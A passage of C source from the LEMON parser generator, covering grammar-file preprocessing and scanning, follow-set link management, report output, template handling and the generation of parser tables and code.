int start_lineno = 1;
for(i=0; z[i]; i++){
if( z[i]=='\n' ) lineno++;
if( z[i]!='%' || (i>0 && z[i-1]!='\n') ) continue;
if( strncmp(&z[i],"%endif",6)==0 && isspace(z[i+6]) ){
if( exclude ){
exclude--;
if( exclude==0 ){
for(j=start; j<i; j++) if( z[j]!='\n' ) z[j] = ' ';
}
}
for(j=i; z[j] && z[j]!='\n'; j++) z[j] = ' ';
}else if( (strncmp(&z[i],"%ifdef",6)==0 && isspace(z[i+6]))
|| (strncmp(&z[i],"%ifndef",7)==0 && isspace(z[i+7])) ){
if( exclude ){
exclude++;
}else{
for(j=i+7; isspace(z[j]); j++){}
for(n=0; z[j+n] && !isspace(z[j+n]); n++){}
exclude = 1;
for(k=0; k<nDefine; k++){
if( strncmp(azDefine[k],&z[j],n)==0 && lemonStrlen(azDefine[k])==n ){
exclude = 0;
break;
}
}
if( z[i+3]=='n' ) exclude = !exclude;
if( exclude ){
start = i;
start_lineno = lineno;
}
}
for(j=i; z[j] && z[j]!='\n'; j++) z[j] = ' ';
}
}
if( exclude ){
fprintf(stderr,"unterminated %%ifdef starting on line %d\n", start_lineno);
exit(1);
}
}
/* In spite of its name, this function is really a scanner. It read
** in the entire input file (all at once) then tokenizes it. Each
** token is passed to the function "parseonetoken" which builds all
** the appropriate data structures in the global state vector "gp".
*/
void Parse(struct lemon *gp)
{
struct pstate ps;
FILE *fp;
char *filebuf;
unsigned int filesize;
int lineno;
int c;
char *cp, *nextcp;
int startline = 0;
memset(&ps, '\0', sizeof(ps));
ps.gp = gp;
ps.filename = gp->filename;
ps.errorcnt = 0;
ps.state = INITIALIZE;
/* Begin by reading the input file */
fp = fopen(ps.filename,"rb");
if( fp==0 ){
ErrorMsg(ps.filename,0,"Can't open this file for reading.");
gp->errorcnt++;
return;
}
fseek(fp,0,2);
filesize = ftell(fp);
rewind(fp);
filebuf = (char *)malloc( filesize+1 );
if( filesize>100000000 || filebuf==0 ){
ErrorMsg(ps.filename,0,"Input file too large.");
gp->errorcnt++;
fclose(fp);
return;
}
if( fread(filebuf,1,filesize,fp)!=filesize ){
ErrorMsg(ps.filename,0,"Can't read in all %d bytes of this file.",
filesize);
free(filebuf);
gp->errorcnt++;
fclose(fp);
return;
}
fclose(fp);
filebuf[filesize] = 0;
/* Make an initial pass through the file to handle %ifdef and %ifndef */
preprocess_input(filebuf);
/* Now scan the text of the input file */
lineno = 1;
for(cp=filebuf; (c= *cp)!=0; ){
if( c=='\n' ) lineno++; /* Keep track of the line number */
if( isspace(c) ){ cp++; continue; } /* Skip all white space */
if( c=='/' && cp[1]=='/' ){ /* Skip C++ style comments */
cp+=2;
while( (c= *cp)!=0 && c!='\n' ) cp++;
continue;
}
if( c=='/' && cp[1]=='*' ){ /* Skip C style comments */
cp+=2;
while( (c= *cp)!=0 && (c!='/' || cp[-1]!='*') ){
if( c=='\n' ) lineno++;
cp++;
}
if( c ) cp++;
continue;
}
ps.tokenstart = cp; /* Mark the beginning of the token */
ps.tokenlineno = lineno; /* Linenumber on which token begins */
if( c=='\"' ){ /* String literals */
cp++;
while( (c= *cp)!=0 && c!='\"' ){
if( c=='\n' ) lineno++;
cp++;
}
if( c==0 ){
ErrorMsg(ps.filename,startline,
"String starting on this line is not terminated before the end of the file.");
ps.errorcnt++;
nextcp = cp;
}else{
nextcp = cp+1;
}
}else if( c=='{' ){ /* A block of C code */
int level;
cp++;
for(level=1; (c= *cp)!=0 && (level>1 || c!='}'); cp++){
if( c=='\n' ) lineno++;
else if( c=='{' ) level++;
else if( c=='}' ) level--;
else if( c=='/' && cp[1]=='*' ){ /* Skip comments */
int prevc;
cp = &cp[2];
prevc = 0;
while( (c= *cp)!=0 && (c!='/' || prevc!='*') ){
if( c=='\n' ) lineno++;
prevc = c;
cp++;
}
}else if( c=='/' && cp[1]=='/' ){ /* Skip C++ style comments too */
cp = &cp[2];
while( (c= *cp)!=0 && c!='\n' ) cp++;
if( c ) lineno++;
}else if( c=='\'' || c=='\"' ){ /* String a character literals */
int startchar, prevc;
startchar = c;
prevc = 0;
for(cp++; (c= *cp)!=0 && (c!=startchar || prevc=='\\'); cp++){
if( c=='\n' ) lineno++;
if( prevc=='\\' ) prevc = 0;
else prevc = c;
}
}
}
if( c==0 ){
ErrorMsg(ps.filename,ps.tokenlineno,
"C code starting on this line is not terminated before the end of the file.");
ps.errorcnt++;
nextcp = cp;
}else{
nextcp = cp+1;
}
}else if( isalnum(c) ){ /* Identifiers */
while( (c= *cp)!=0 && (isalnum(c) || c=='_') ) cp++;
nextcp = cp;
}else if( c==':' && cp[1]==':' && cp[2]=='=' ){ /* The operator "::=" */
cp += 3;
nextcp = cp;
}else if( (c=='/' || c=='|') && isalpha(cp[1]) ){
cp += 2;
while( (c = *cp)!=0 && (isalnum(c) || c=='_') ) cp++;
nextcp = cp;
}else{ /* All other (one character) operators */
cp++;
nextcp = cp;
}
c = *cp;
*cp = 0; /* Null terminate the token */
parseonetoken(&ps); /* Parse the token */
*cp = (char)c; /* Restore the buffer */
cp = nextcp;
}
free(filebuf); /* Release the buffer after parsing */
gp->rule = ps.firstrule;
gp->errorcnt = ps.errorcnt;
}
/*************************** From the file "plink.c" *********************/
/*
** Routines processing configuration follow-set propagation links
** in the LEMON parser generator.
*/
static struct plink *plink_freelist = 0;
/* Allocate a new plink */
struct plink *Plink_new(){
struct plink *newlink;
if( plink_freelist==0 ){
int i;
int amt = 100;
plink_freelist = (struct plink *)calloc( amt, sizeof(struct plink) );
if( plink_freelist==0 ){
fprintf(stderr,
"Unable to allocate memory for a new follow-set propagation link.\n");
exit(1);
}
for(i=0; i<amt-1; i++) plink_freelist[i].next = &plink_freelist[i+1];
plink_freelist[amt-1].next = 0;
}
newlink = plink_freelist;
plink_freelist = plink_freelist->next;
return newlink;
}
/* Add a plink to a plink list */
void Plink_add(struct plink **plpp, struct config *cfp)
{
struct plink *newlink;
newlink = Plink_new();
newlink->next = *plpp;
*plpp = newlink;
newlink->cfp = cfp;
}
/* Transfer every plink on the list "from" to the list "to" */
void Plink_copy(struct plink **to, struct plink *from)
{
struct plink *nextpl;
while( from ){
nextpl = from->next;
from->next = *to;
*to = from;
from = nextpl;
}
}
/* Delete every plink on the list */
void Plink_delete(struct plink *plp)
{
struct plink *nextpl;
while( plp ){
nextpl = plp->next;
plp->next = plink_freelist;
plink_freelist = plp;
plp = nextpl;
}
}
/*********************** From the file "report.c" **************************/
/*
** Procedures for generating reports and tables in the LEMON parser generator.
*/
/* Generate a filename with the given suffix. Space to hold the
** name comes from malloc() and must be freed by the calling
** function.
*/
PRIVATE char *file_makename(struct lemon *lemp, const char *suffix)
{
char *name;
char *cp;
name = (char*)malloc( lemonStrlen(lemp->filename) + lemonStrlen(suffix) + 5 );
if( name==0 ){
fprintf(stderr,"Can't allocate space for a filename.\n");
exit(1);
}
lemon_strcpy(name,lemp->filename);
cp = strrchr(name,'.');
if( cp ) *cp = 0;
lemon_strcat(name,suffix);
return name;
}
/* Open a file with a name based on the name of the input file,
** but with a different (specified) suffix, and return a pointer
** to the stream */
PRIVATE FILE *file_open(
struct lemon *lemp,
const char *suffix,
const char *mode
){
FILE *fp;
if( lemp->outname ) free(lemp->outname);
lemp->outname = file_makename(lemp, suffix);
fp = fopen(lemp->outname,mode);
if( fp==0 && *mode=='w' ){
fprintf(stderr,"Can't open file \"%s\".\n",lemp->outname);
lemp->errorcnt++;
return 0;
}
return fp;
}
/* Duplicate the input file without comments and without actions
** on rules */
void Reprint(struct lemon *lemp)
{
struct rule *rp;
struct symbol *sp;
int i, j, maxlen, len, ncolumns, skip;
printf("// Reprint of input file \"%s\".\n// Symbols:\n",lemp->filename);
maxlen = 10;
for(i=0; i<lemp->nsymbol; i++){
sp = lemp->symbols[i];
len = lemonStrlen(sp->name);
if( len>maxlen ) maxlen = len;
}
ncolumns = 76/(maxlen+5);
if( ncolumns<1 ) ncolumns = 1;
skip = (lemp->nsymbol + ncolumns - 1)/ncolumns;
for(i=0; i<skip; i++){
printf("//");
for(j=i; j<lemp->nsymbol; j+=skip){
sp = lemp->symbols[j];
assert( sp->index==j );
printf(" %3d %-*.*s",j,maxlen,maxlen,sp->name);
}
printf("\n");
}
for(rp=lemp->rule; rp; rp=rp->next){
printf("%s",rp->lhs->name);
/* if( rp->lhsalias ) printf("(%s)",rp->lhsalias); */
printf(" ::=");
for(i=0; i<rp->nrhs; i++){
sp = rp->rhs[i];
if( sp->type==MULTITERMINAL ){
printf(" %s", sp->subsym[0]->name);
for(j=1; j<sp->nsubsym; j++){
printf("|%s", sp->subsym[j]->name);
}
}else{
printf(" %s", sp->name);
}
/* if( rp->rhsalias[i] ) printf("(%s)",rp->rhsalias[i]); */
}
printf(".");
if( rp->precsym ) printf(" [%s]",rp->precsym->name);
/* if( rp->code ) printf("\n %s",rp->code); */
printf("\n");
}
}
void ConfigPrint(FILE *fp, struct config *cfp)
{
struct rule *rp;
struct symbol *sp;
int i, j;
rp = cfp->rp;
fprintf(fp,"%s ::=",rp->lhs->name);
for(i=0; i<=rp->nrhs; i++){
if( i==cfp->dot ) fprintf(fp," *");
if( i==rp->nrhs ) break;
sp = rp->rhs[i];
if( sp->type==MULTITERMINAL ){
fprintf(fp," %s", sp->subsym[0]->name);
for(j=1; j<sp->nsubsym; j++){
fprintf(fp,"|%s",sp->subsym[j]->name);
}
}else{
fprintf(fp," %s", sp->name);
}
}
}
/* #define TEST */
#if 0
/* Print a set */
PRIVATE void SetPrint(out,set,lemp)
FILE *out;
char *set;
struct lemon *lemp;
{
int i;
char *spacer;
spacer = "";
fprintf(out,"%12s[","");
for(i=0; i<lemp->nterminal; i++){
if( SetFind(set,i) ){
fprintf(out,"%s%s",spacer,lemp->symbols[i]->name);
spacer = " ";
}
}
fprintf(out,"]\n");
}
/* Print a plink chain */
PRIVATE void PlinkPrint(out,plp,tag)
FILE *out;
struct plink *plp;
char *tag;
{
while( plp ){
fprintf(out,"%12s%s (state %2d) ","",tag,plp->cfp->stp->statenum);
ConfigPrint(out,plp->cfp);
fprintf(out,"\n");
plp = plp->next;
}
}
#endif
/* Print an action to the given file descriptor. Return FALSE if
** nothing was actually printed.
*/
int PrintAction(struct action *ap, FILE *fp, int indent){
int result = 1;
switch( ap->type ){
case SHIFT:
fprintf(fp,"%*s shift %d",indent,ap->sp->name,ap->x.stp->statenum);
break;
case REDUCE:
fprintf(fp,"%*s reduce %d",indent,ap->sp->name,ap->x.rp->index);
break;
case ACCEPT:
fprintf(fp,"%*s accept",indent,ap->sp->name);
break;
case ERROR:
fprintf(fp,"%*s error",indent,ap->sp->name);
break;
case SRCONFLICT:
case RRCONFLICT:
fprintf(fp,"%*s reduce %-3d ** Parsing conflict **",
indent,ap->sp->name,ap->x.rp->index);
break;
case SSCONFLICT:
fprintf(fp,"%*s shift %-3d ** Parsing conflict **",
indent,ap->sp->name,ap->x.stp->statenum);
break;
case SH_RESOLVED:
if( showPrecedenceConflict ){
fprintf(fp,"%*s shift %-3d -- dropped by precedence",
indent,ap->sp->name,ap->x.stp->statenum);
}else{
result = 0;
}
break;
case RD_RESOLVED:
if( showPrecedenceConflict ){
fprintf(fp,"%*s reduce %-3d -- dropped by precedence",
indent,ap->sp->name,ap->x.rp->index);
}else{
result = 0;
}
break;
case NOT_USED:
result = 0;
break;
}
return result;
}
/* Generate the "y.output" log file */
void ReportOutput(struct lemon *lemp)
{
int i;
struct state *stp;
struct config *cfp;
struct action *ap;
FILE *fp;
fp = file_open(lemp,".out","wb");
if( fp==0 ) return;
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
fprintf(fp,"State %d:\n",stp->statenum);
if( lemp->basisflag ) cfp=stp->bp;
else cfp=stp->cfp;
while( cfp ){
char buf[20];
if( cfp->dot==cfp->rp->nrhs ){
lemon_sprintf(buf,"(%d)",cfp->rp->index);
fprintf(fp," %5s ",buf);
}else{
fprintf(fp," ");
}
ConfigPrint(fp,cfp);
fprintf(fp,"\n");
#if 0
SetPrint(fp,cfp->fws,lemp);
PlinkPrint(fp,cfp->fplp,"To ");
PlinkPrint(fp,cfp->bplp,"From");
#endif
if( lemp->basisflag ) cfp=cfp->bp;
else cfp=cfp->next;
}
fprintf(fp,"\n");
for(ap=stp->ap; ap; ap=ap->next){
if( PrintAction(ap,fp,30) ) fprintf(fp,"\n");
}
fprintf(fp,"\n");
}
fprintf(fp, "----------------------------------------------------\n");
fprintf(fp, "Symbols:\n");
for(i=0; i<lemp->nsymbol; i++){
int j;
struct symbol *sp;
sp = lemp->symbols[i];
fprintf(fp, " %3d: %s", i, sp->name);
if( sp->type==NONTERMINAL ){
fprintf(fp, ":");
if( sp->lambda ){
fprintf(fp, " <lambda>");
}
for(j=0; j<lemp->nterminal; j++){
if( sp->firstset && SetFind(sp->firstset, j) ){
fprintf(fp, " %s", lemp->symbols[j]->name);
}
}
}
fprintf(fp, "\n");
}
fclose(fp);
return;
}
/* Search for the file "name" which is in the same directory as
** the exacutable */
PRIVATE char *pathsearch(char *argv0, char *name, int modemask)
{
const char *pathlist;
char *pathbufptr;
char *pathbuf;
char *path,*cp;
char c;
#ifdef __WIN32__
cp = strrchr(argv0,'\\');
#else
cp = strrchr(argv0,'/');
#endif
if( cp ){
c = *cp;
*cp = 0;
path = (char *)malloc( lemonStrlen(argv0) + lemonStrlen(name) + 2 );
if( path ) lemon_sprintf(path,"%s/%s",argv0,name);
*cp = c;
}else{
pathlist = getenv("PATH");
if( pathlist==0 ) pathlist = ".:/bin:/usr/bin";
pathbuf = (char *) malloc( lemonStrlen(pathlist) + 1 );
path = (char *)malloc( lemonStrlen(pathlist)+lemonStrlen(name)+2 );
if( (pathbuf != 0) && (path!=0) ){
pathbufptr = pathbuf;
lemon_strcpy(pathbuf, pathlist);
while( *pathbuf ){
cp = strchr(pathbuf,':');
if( cp==0 ) cp = &pathbuf[lemonStrlen(pathbuf)];
c = *cp;
*cp = 0;
lemon_sprintf(path,"%s/%s",pathbuf,name);
*cp = c;
if( c==0 ) pathbuf[0] = 0;
else pathbuf = &cp[1];
if( access(path,modemask)==0 ) break;
}
free(pathbufptr);
}
}
return path;
}
/* Given an action, compute the integer value for that action
** which is to be put in the action table of the generated machine.
** Return negative if no action should be generated.
*/
PRIVATE int compute_action(struct lemon *lemp, struct action *ap)
{
int act;
switch( ap->type ){
case SHIFT: act = ap->x.stp->statenum; break;
case REDUCE: act = ap->x.rp->index + lemp->nstate; break;
case ERROR: act = lemp->nstate + lemp->nrule; break;
case ACCEPT: act = lemp->nstate + lemp->nrule + 1; break;
default: act = -1; break;
}
return act;
}
#define LINESIZE 1000
/* The next cluster of routines are for reading the template file
** and writing the results to the generated parser */
/* The first function transfers data from "in" to "out" until
** a line is seen which begins with "%%". The line number is
** tracked.
**
** if name!=0, then any word that begin with "Parse" is changed to
** begin with *name instead.
*/
PRIVATE void tplt_xfer(char *name, FILE *in, FILE *out, int *lineno)
{
int i, iStart;
char line[LINESIZE];
while( fgets(line,LINESIZE,in) && (line[0]!='%' || line[1]!='%') ){
(*lineno)++;
iStart = 0;
if( name ){
for(i=0; line[i]; i++){
if( line[i]=='P' && strncmp(&line[i],"Parse",5)==0
&& (i==0 || !isalpha(line[i-1]))
){
if( i>iStart ) fprintf(out,"%.*s",i-iStart,&line[iStart]);
fprintf(out,"%s",name);
i += 4;
iStart = i+1;
}
}
}
fprintf(out,"%s",&line[iStart]);
}
}
/* The next function finds the template file and opens it, returning
** a pointer to the opened file. */
PRIVATE FILE *tplt_open(struct lemon *lemp)
{
static char templatename[] = "lempar.c";
char buf[1000];
FILE *in;
char *tpltname;
char *cp;
/* first, see if user specified a template filename on the command line. */
if (user_templatename != 0) {
if( access(user_templatename,004)==-1 ){
fprintf(stderr,"Can't find the parser driver template file \"%s\".\n",
user_templatename);
lemp->errorcnt++;
return 0;
}
in = fopen(user_templatename,"rb");
if( in==0 ){
fprintf(stderr,"Can't open the template file \"%s\".\n",user_templatename);
lemp->errorcnt++;
return 0;
}
return in;
}
cp = strrchr(lemp->filename,'.');
if( cp ){
lemon_sprintf(buf,"%.*s.lt",(int)(cp-lemp->filename),lemp->filename);
}else{
lemon_sprintf(buf,"%s.lt",lemp->filename);
}
if( access(buf,004)==0 ){
tpltname = buf;
}else if( access(templatename,004)==0 ){
tpltname = templatename;
}else{
tpltname = pathsearch(lemp->argv0,templatename,0);
}
if( tpltname==0 ){
fprintf(stderr,"Can't find the parser driver template file \"%s\".\n",
templatename);
lemp->errorcnt++;
return 0;
}
in = fopen(tpltname,"rb");
if( in==0 ){
fprintf(stderr,"Can't open the template file \"%s\".\n",templatename);
lemp->errorcnt++;
return 0;
}
return in;
}
/* Print a #line directive line to the output file. */
PRIVATE void tplt_linedir(FILE *out, int lineno, char *filename)
{
fprintf(out,"#line %d \"",lineno);
while( *filename ){
if( *filename == '\\' ) putc('\\',out);
putc(*filename,out);
filename++;
}
fprintf(out,"\"\n");
}
/* Print a string to the file and keep the linenumber up to date */
PRIVATE void tplt_print(FILE *out, struct lemon *lemp, char *str, int *lineno)
{
if( str==0 ) return;
while( *str ){
putc(*str,out);
if( *str=='\n' ) (*lineno)++;
str++;
}
if( str[-1]!='\n' ){
putc('\n',out);
(*lineno)++;
}
if (!lemp->nolinenosflag) {
(*lineno)++; tplt_linedir(out,*lineno,lemp->outname);
}
return;
}
/*
** The following routine emits code for the destructor for the
** symbol sp
*/
void emit_destructor_code(
FILE *out,
struct symbol *sp,
struct lemon *lemp,
int *lineno
){
char *cp = 0;
if( sp->type==TERMINAL ){
cp = lemp->tokendest;
if( cp==0 ) return;
fprintf(out,"{\n"); (*lineno)++;
}else if( sp->destructor ){
cp = sp->destructor;
fprintf(out,"{\n"); (*lineno)++;
if (!lemp->nolinenosflag) { (*lineno)++; tplt_linedir(out,sp->destLineno,lemp->filename); }
}else if( lemp->vardest ){
cp = lemp->vardest;
if( cp==0 ) return;
fprintf(out,"{\n"); (*lineno)++;
}else{
assert( 0 ); /* Cannot happen */
}
for(; *cp; cp++){
if( *cp=='$' && cp[1]=='$' ){
fprintf(out,"(yypminor->yy%d)",sp->dtnum);
cp++;
continue;
}
if( *cp=='\n' ) (*lineno)++;
fputc(*cp,out);
}
fprintf(out,"\n"); (*lineno)++;
if (!lemp->nolinenosflag) {
(*lineno)++; tplt_linedir(out,*lineno,lemp->outname);
}
fprintf(out,"}\n"); (*lineno)++;
return;
}
/*
** Return TRUE (non-zero) if the given symbol has a destructor.
*/
int has_destructor(struct symbol *sp, struct lemon *lemp)
{
int ret;
if( sp->type==TERMINAL ){
ret = lemp->tokendest!=0;
}else{
ret = lemp->vardest!=0 || sp->destructor!=0;
}
return ret;
}
/*
** Append text to a dynamically allocated string. If zText is 0 then
** reset the string to be empty again. Always return the complete text
** of the string (which is overwritten with each call).
**
** n bytes of zText are stored. If n==0 then all of zText up to the first
** \000 terminator is stored. zText can contain up to two instances of
** %d. The values of p1 and p2 are written into the first and second
** %d.
**
** If n==-1, then the previous character is overwritten.
*/
PRIVATE char *append_str(const char *zText, int n, int p1, int p2){
static char empty[1] = { 0 };
static char *z = 0;
static int alloced = 0;
static int used = 0;
int c;
char zInt[40];
if( zText==0 ){
used = 0;
return z;
}
if( n<=0 ){
if( n<0 ){
used += n;
assert( used>=0 );
}
n = lemonStrlen(zText);
}
if( (int) (n+sizeof(zInt)*2+used) >= alloced ){
alloced = n + sizeof(zInt)*2 + used + 200;
z = (char *) realloc(z, alloced);
}
if( z==0 ) return empty;
while( n-- > 0 ){
c = *(zText++);
if( c=='%' && n>0 && zText[0]=='d' ){
lemon_sprintf(zInt, "%d", p1);
p1 = p2;
lemon_strcpy(&z[used], zInt);
used += lemonStrlen(&z[used]);
zText++;
n--;
}else{
z[used++] = (char)c;
}
}
z[used] = 0;
return z;
}
/*
** zCode is a string that is the action associated with a rule. Expand
** the symbols in this string so that the refer to elements of the parser
** stack.
*/
PRIVATE void translate_code(struct lemon *lemp, struct rule *rp){
char *cp, *xp;
int i;
char lhsused = 0; /* True if the LHS element has been used */
char used[MAXRHS]; /* True for each RHS element which is used */
for(i=0; i<rp->nrhs; i++) used[i] = 0;
lhsused = 0;
if( rp->code==0 ){
static char newlinestr[2] = { '\n', '\0' };
rp->code = newlinestr;
rp->line = rp->ruleline;
}
append_str(0,0,0,0);
/* This const cast is wrong but harmless, if we're careful. */
for(cp=(char *)rp->code; *cp; cp++){
if( isalpha(*cp) && (cp==rp->code || (!isalnum(cp[-1]) && cp[-1]!='_')) ){
char saved;
for(xp= &cp[1]; isalnum(*xp) || *xp=='_'; xp++);
saved = *xp;
*xp = 0;
if( rp->lhsalias && strcmp(cp,rp->lhsalias)==0 ){
append_str("yygotominor.yy%d",0,rp->lhs->dtnum,0);
cp = xp;
lhsused = 1;
}else{
for(i=0; i<rp->nrhs; i++){
if( rp->rhsalias[i] && strcmp(cp,rp->rhsalias[i])==0 ){
if( cp!=rp->code && cp[-1]=='@' ){
/* If the argument is of the form @X then substituted
** the token number of X, not the value of X */
append_str("yymsp[%d].major",-1,i-rp->nrhs+1,0);
}else{
struct symbol *sp = rp->rhs[i];
int dtnum;
if( sp->type==MULTITERMINAL ){
dtnum = sp->subsym[0]->dtnum;
}else{
dtnum = sp->dtnum;
}
append_str("yymsp[%d].minor.yy%d",0,i-rp->nrhs+1, dtnum);
}
cp = xp;
used[i] = 1;
break;
}
}
}
*xp = saved;
}
append_str(cp, 1, 0, 0);
} /* End loop */
/* Check to make sure the LHS has been used */
if( rp->lhsalias && !lhsused ){
ErrorMsg(lemp->filename,rp->ruleline,
"Label \"%s\" for \"%s(%s)\" is never used.",
rp->lhsalias,rp->lhs->name,rp->lhsalias);
lemp->errorcnt++;
}
/* Generate destructor code for RHS symbols which are not used in the
** reduce code */
for(i=0; i<rp->nrhs; i++){
if( rp->rhsalias[i] && !used[i] ){
ErrorMsg(lemp->filename,rp->ruleline,
"Label %s for \"%s(%s)\" is never used.",
rp->rhsalias[i],rp->rhs[i]->name,rp->rhsalias[i]);
lemp->errorcnt++;
}else if( rp->rhsalias[i]==0 ){
if( has_destructor(rp->rhs[i],lemp) ){
append_str(" yy_destructor(yypParser,%d,&yymsp[%d].minor);\n", 0,
rp->rhs[i]->index,i-rp->nrhs+1);
}else{
/* No destructor defined for this term */
}
}
}
if( rp->code ){
cp = append_str(0,0,0,0);
rp->code = Strsafe(cp?cp:"");
}
}
/*
** Generate code which executes when the rule "rp" is reduced. Write
** the code to "out". Make sure lineno stays up-to-date.
*/
PRIVATE void emit_code(
FILE *out,
struct rule *rp,
struct lemon *lemp,
int *lineno
){
const char *cp;
/* Generate code to do the reduce action */
if( rp->code ){
if (!lemp->nolinenosflag) { (*lineno)++; tplt_linedir(out,rp->line,lemp->filename); }
fprintf(out,"{%s",rp->code);
for(cp=rp->code; *cp; cp++){
if( *cp=='\n' ) (*lineno)++;
} /* End loop */
fprintf(out,"}\n"); (*lineno)++;
if (!lemp->nolinenosflag) { (*lineno)++; tplt_linedir(out,*lineno,lemp->outname); }
} /* End if( rp->code ) */
return;
}
/*
** Print the definition of the union used for the parser's data stack.
** This union contains fields for every possible data type for tokens
** and nonterminals. In the process of computing and printing this
** union, also set the ".dtnum" field of every terminal and nonterminal
** symbol.
*/
void print_stack_union(
FILE *out, /* The output stream */
struct lemon *lemp, /* The main info structure for this parser */
int *plineno, /* Pointer to the line number */
int mhflag /* True if generating makeheaders output */
){
int lineno = *plineno; /* The line number of the output */
char **types; /* A hash table of datatypes */
int arraysize; /* Size of the "types" array */
int maxdtlength; /* Maximum length of any ".datatype" field. */
char *stddt; /* Standardized name for a datatype */
int i,j; /* Loop counters */
unsigned hash; /* For hashing the name of a type */
const char *name; /* Name of the parser */
/* Allocate and initialize types[] and allocate stddt[] */
arraysize = lemp->nsymbol * 2;
types = (char**)calloc( arraysize, sizeof(char*) );
if( types==0 ){
fprintf(stderr,"Out of memory.\n");
exit(1);
}
for(i=0; i<arraysize; i++) types[i] = 0;
maxdtlength = 0;
if( lemp->vartype ){
maxdtlength = lemonStrlen(lemp->vartype);
}
for(i=0; i<lemp->nsymbol; i++){
int len;
struct symbol *sp = lemp->symbols[i];
if( sp->datatype==0 ) continue;
len = lemonStrlen(sp->datatype);
if( len>maxdtlength ) maxdtlength = len;
}
stddt = (char*)malloc( maxdtlength*2 + 1 );
if( stddt==0 ){
fprintf(stderr,"Out of memory.\n");
exit(1);
}
/* Build a hash table of datatypes. The ".dtnum" field of each symbol
** is filled in with the hash index plus 1. A ".dtnum" value of 0 is
** used for terminal symbols. If there is no %default_type defined then
** 0 is also used as the .dtnum value for nonterminals which do not specify
** a datatype using the %type directive.
*/
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
char *cp;
if( sp==lemp->errsym ){
sp->dtnum = arraysize+1;
continue;
}
if( sp->type!=NONTERMINAL || (sp->datatype==0 && lemp->vartype==0) ){
sp->dtnum = 0;
continue;
}
cp = sp->datatype;
if( cp==0 ) cp = lemp->vartype;
j = 0;
while( isspace(*cp) ) cp++;
while( *cp ) stddt[j++] = *cp++;
while( j>0 && isspace(stddt[j-1]) ) j--;
stddt[j] = 0;
if( lemp->tokentype && strcmp(stddt, lemp->tokentype)==0 ){
sp->dtnum = 0;
continue;
}
hash = 0;
for(j=0; stddt[j]; j++){
hash = hash*53 + stddt[j];
}
hash = (hash & 0x7fffffff)%arraysize;
while( types[hash] ){
if( strcmp(types[hash],stddt)==0 ){
sp->dtnum = hash + 1;
break;
}
hash++;
if( hash>=(unsigned)arraysize ) hash = 0;
}
if( types[hash]==0 ){
sp->dtnum = hash + 1;
types[hash] = (char*)malloc( lemonStrlen(stddt)+1 );
if( types[hash]==0 ){
fprintf(stderr,"Out of memory.\n");
exit(1);
}
lemon_strcpy(types[hash],stddt);
}
}
/* Print out the definition of YYTOKENTYPE and YYMINORTYPE */
name = lemp->name ? lemp->name : "Parse";
lineno = *plineno;
if( mhflag ){ fprintf(out,"#if INTERFACE\n"); lineno++; }
fprintf(out,"#define %sTOKENTYPE %s\n",name,
lemp->tokentype?lemp->tokentype:"void*"); lineno++;
if( mhflag ){ fprintf(out,"#endif\n"); lineno++; }
fprintf(out,"typedef union {\n"); lineno++;
fprintf(out," int yyinit;\n"); lineno++;
fprintf(out," %sTOKENTYPE yy0;\n",name); lineno++;
for(i=0; i<arraysize; i++){
if( types[i]==0 ) continue;
fprintf(out," %s yy%d;\n",types[i],i+1); lineno++;
free(types[i]);
}
if( lemp->errsym->useCnt ){
fprintf(out," int yy%d;\n",lemp->errsym->dtnum); lineno++;
}
free(stddt);
free(types);
fprintf(out,"} YYMINORTYPE;\n"); lineno++;
*plineno = lineno;
}
/*
** Return the name of a C datatype able to represent values between
** lwr and upr, inclusive.
*/
static const char *minimum_size_type(int lwr, int upr){
if( lwr>=0 ){
if( upr<=255 ){
return "unsigned char";
}else if( upr<65535 ){
return "unsigned short int";
}else{
return "unsigned int";
}
}else if( lwr>=-127 && upr<=127 ){
return "signed char";
}else if( lwr>=-32767 && upr<32767 ){
return "short";
}else{
return "int";
}
}
/*
** Each state contains a set of token transaction and a set of
** nonterminal transactions. Each of these sets makes an instance
** of the following structure. An array of these structures is used
** to order the creation of entries in the yy_action[] table.
*/
struct axset {
struct state *stp; /* A pointer to a state */
int isTkn; /* True to use tokens. False for non-terminals */
int nAction; /* Number of actions */
int iOrder; /* Original order of action sets */
};
/*
** Compare to axset structures for sorting purposes
*/
static int axset_compare(const void *a, const void *b){
struct axset *p1 = (struct axset*)a;
struct axset *p2 = (struct axset*)b;
int c;
c = p2->nAction - p1->nAction;
if( c==0 ){
c = p2->iOrder - p1->iOrder;
}
assert( c!=0 || p1==p2 );
return c;
}
/*
** Write text on "out" that describes the rule "rp".
*/
static void writeRuleText(FILE *out, struct rule *rp){
int j;
fprintf(out,"%s ::=", rp->lhs->name);
for(j=0; j<rp->nrhs; j++){
struct symbol *sp = rp->rhs[j];
if( sp->type!=MULTITERMINAL ){
fprintf(out," %s", sp->name);
}else{
int k;
fprintf(out," %s", sp->subsym[0]->name);
for(k=1; k<sp->nsubsym; k++){
fprintf(out,"|%s",sp->subsym[k]->name);
}
}
}
}
/* Generate C source code for the parser */
void ReportTable(
struct lemon *lemp,
int mhflag /* Output in makeheaders format if true */
){
FILE *out, *in;
char line[LINESIZE];
int lineno;
struct state *stp;
struct action *ap;
struct rule *rp;
struct acttab *pActtab;
int i, j, n;
const char *name;
int mnTknOfst, mxTknOfst;
int mnNtOfst, mxNtOfst;
struct axset *ax;
in = tplt_open(lemp);
if( in==0 ) return;
out = file_open(lemp,".c","wb");
if( out==0 ){
fclose(in);
return;
}
lineno = 1;
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the include code, if any */
tplt_print(out,lemp,lemp->include,&lineno);
if( mhflag ){
char *incName = file_makename(lemp, ".h");
fprintf(out,"#include \"%s\"\n", incName); lineno++;
free(incName);
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate #defines for all tokens */
if( mhflag ){
const char *prefix;
fprintf(out,"#if INTERFACE\n"); lineno++;
if( lemp->tokenprefix ) prefix = lemp->tokenprefix;
else prefix = "";
for(i=1; i<lemp->nterminal; i++){
fprintf(out,"#define %s%-30s %2d\n",prefix,lemp->symbols[i]->name,i);
lineno++;
}
fprintf(out,"#endif\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the defines */
fprintf(out,"#define YYCODETYPE %s\n",
minimum_size_type(0, lemp->nsymbol+1)); lineno++;
fprintf(out,"#define YYNOCODE %d\n",lemp->nsymbol+1); lineno++;
fprintf(out,"#define YYACTIONTYPE %s\n",
minimum_size_type(0, lemp->nstate+lemp->nrule+5)); lineno++;
